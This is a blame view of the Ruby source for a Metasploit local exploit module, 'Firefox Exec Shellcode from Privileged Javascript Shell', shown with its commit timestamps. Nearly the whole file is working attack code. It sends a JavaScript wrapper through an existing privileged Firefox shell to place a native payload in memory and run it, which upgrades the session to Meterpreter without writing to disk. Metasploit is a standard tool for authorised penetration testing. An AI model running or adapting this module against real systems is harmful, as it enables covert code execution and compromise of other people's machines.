Files
metasploit-gs/modules/exploits/firefox/local/exec_shellcode.rb
T

63 lines
1.8 KiB
Ruby
Raw Normal View History

2014-02-17 15:31:45 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-02-17 15:31:45 -06:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload/firefox'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
2017-04-02 18:33:46 -04:00
Rank = ExcellentRanking # Missing autodetection, but has widespread targetability
2014-02-17 15:31:45 -06:00
include Msf::Payload::Firefox
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
2014-02-17 15:31:45 -06:00
def initialize(info={})
super(update_info(info,
'Name' => 'Firefox Exec Shellcode from Privileged Javascript Shell',
'Description' => %q{
2014-03-17 13:24:24 -05:00
This module allows execution of native payloads from a privileged Firefox Javascript shell.
It places the specified payload into memory, adds the necessary protection flags,
and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter
2014-02-19 02:31:22 -06:00
session without touching the disk.
2014-02-17 15:31:45 -06:00
},
'License' => MSF_LICENSE,
'Author' => [ 'joev' ],
'Platform' => [ 'firefox' ],
'DisclosureDate' => 'Mar 10 2014',
2014-02-17 15:31:45 -06:00
'Targets' => [
[
2014-02-17 15:31:45 -06:00
'Native Payload', {
'Platform' => %w{ linux osx win unix },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0
))
register_options([
OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
])
2014-02-17 15:31:45 -06:00
end
def exploit
2014-03-17 13:24:24 -05:00
print_status "Running the Javascript shell..."
2014-02-17 15:31:45 -06:00
session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
print_warning(results) if results.present?
end
def js_payload
%Q|
(function(send){
try {
2014-02-19 02:31:22 -06:00
#{run_payload}
2014-02-17 15:31:45 -06:00
send("Payload executed.");
} catch (e) {
send(e);
}
})(send);
|.strip
end
end